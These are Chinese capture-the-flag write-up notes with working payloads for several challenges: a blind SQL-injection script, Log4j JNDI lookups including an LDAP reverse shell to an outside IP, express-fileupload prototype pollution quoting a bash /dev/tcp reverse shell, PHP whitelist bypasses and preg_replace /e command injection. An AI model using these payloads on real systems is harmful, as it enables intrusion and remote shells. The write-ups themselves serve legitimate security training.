1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from turtle import rightimport requestsurl = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php" flag = "" i = 0 while True : i = i + 1 letf = 32 right = 127 while letf < right: mid = (letf + right) // 2 payload = f"0^(ascii(substr((select(flag)from(flag)),{i} ,1))>{mid} )" data = {"id" : payload} res = requests.post(url=url, data=data).text if "Hello" in res: letf = mid + 1 else : right = mid if letf != 32 : flag += chr (letf) print (flag) else : break
NSSCTF Apache log4j漏洞靶机 og4j提供了${}解析功能,当遇到${}时,会通过JNDI的lookup()解析其中的内容。
如${jndi:dns://${sys:java.version}.example.com}
会通过jndi的lookup()解析dns://${sys:java.version}.example.com,解析到dns协议,会去访问
${sys:java.version}.example.com,而又会解析到sys协议,获取到java.version参数,然后将这个参数值作为子域名的一部分去访问子域名。我们在dns log网站即可看到对应内容。
payload
1 c=${jndi:dns://${sys:java.version}.fpx45s.dnslog.cn}
然后就可以反弹shell
1 c=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}
BadProgrammer js原型链污染
dirsearch扫出目录
“express-fileupload”: “1.1.7-alpha.4”
CVE-2020-7699漏洞分析 该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链 污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true
CVE-2020-7699漏洞分析_express-fileupload”: “1.1.7-alpha.4-CSDN博客
核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 busboy.on ('finish' , () => { debugLog (options, `Busboy finished parsing request.` ); if (options.parseNested ) { req.body = processNested (req.body ); req.files = processNested (req.files ); } if (!req[waitFlushProperty]) return next (); Promise .all (req[waitFlushProperty]) .then (() => { delete req[waitFlushProperty]; next (); }).catch (err => { delete req[waitFlushProperty]; debugLog (options, `Error while waiting files flush: ${err} ` ); next (err); }); });
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function processNested (data ){ if (!data || data.length < 1 ) return {}; let d = {}, keys = Object .keys (data); for (let i = 0 ; i < keys.length ; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace (new RegExp (/\[/g ), '.' ) .replace (new RegExp (/\]/g ), '' ) .split ('.' ); for (let index = 0 ; index < keyParts.length ; index++){ let k = keyParts[index]; if (index >= keyParts.length - 1 ){ current[k] = value; } else { if (!current[k]) current[k] = !isNaN (keyParts[index + 1 ]) ? [] : {}; current = current[k]; } } } return d; };
porcessNested方法
1 2 3 4 5 6 7 传入的参数是:{"a.b.c":"m1sn0w"} 通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } } 其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染 传入参数:{"__proto__.m1sn0w":"m1sn0w"} 然后我们调用console.log(Object.__proto__.m1sn0w) 返回的值为m1sn0w
已有poc
1 x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
改成
1 x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
发包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 61.147.171.105:53665 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=g7o49fe11l2q7bo3536cbjt2f0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 163 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
脚本
1 2 3 4 5 6 7 8 9 import requests resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '52139', '4_pATh_y0u_CaNN07_Gu3ss'), files={'__proto__.outputFunctionName': ( None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt') )}) print(resp1)
[CISCN 2019 初赛]Love Math 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
法一 php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);
1 2 $a ='system' ;$a ('cat/flag' );
1 c=($_GET[a])($_GET[b])&a=system&b=cat /flag
然后就是想办法绕过黑名单
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。、
base_convert() 函数在任意进制之间转换数字。
hex2bin()函数可以通过base_convert()函数来进行转换
那么就可以把字符转化为数字
hex2bin=base_convert(37907361743,10,36)
dechex() 函数把十进制数转换为十六进制数。
就将get构造完毕了
1 2 3 <?php echo base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));?>
1 http://61.147.171.105:55626/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){min})&pi=system&min=nl flag.php
法二 1 $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
header传参
法三 1 2 3 4 5 6 7 8 9 10 11 <?php $payload = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];for ($k =1 ;$k <=sizeof ($payload );$k ++){ for ($i = 0 ;$i < 9 ; $i ++){ for ($j = 0 ;$j <=9 ;$j ++){ $exp = $payload [$k ] ^ $i .$j ; echo ($payload [$k ]."^$i $j " ."==>$exp " ); echo "<br />" ; } } }
XCTF ics-05 前面文件读取不说了 得到源码后x-forwarded-for admin登录
preg_replace函数/e漏洞
1 2 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
payload
1 /index.php?pat=/abc/e&rep=system("ls")&sub=abc
1 http://61.147.171.105:52555/index.php?pat=/abc/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub=abc
XCTF Cat 不是传统的命令执行
php cURL CURLOPT_SAFE_UPLOAD
django DEBUG mode
Django使用的是gbk编码,超过%F7的编码不在gbk中有意义
当 CURLOPT_SAFE_UPLOAD
为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。
0x7F的ASCII都会引发Django的报错。在url中输入?url=%88,可以得到报错页面
1 ?url=@/opt/api/database.sqlite3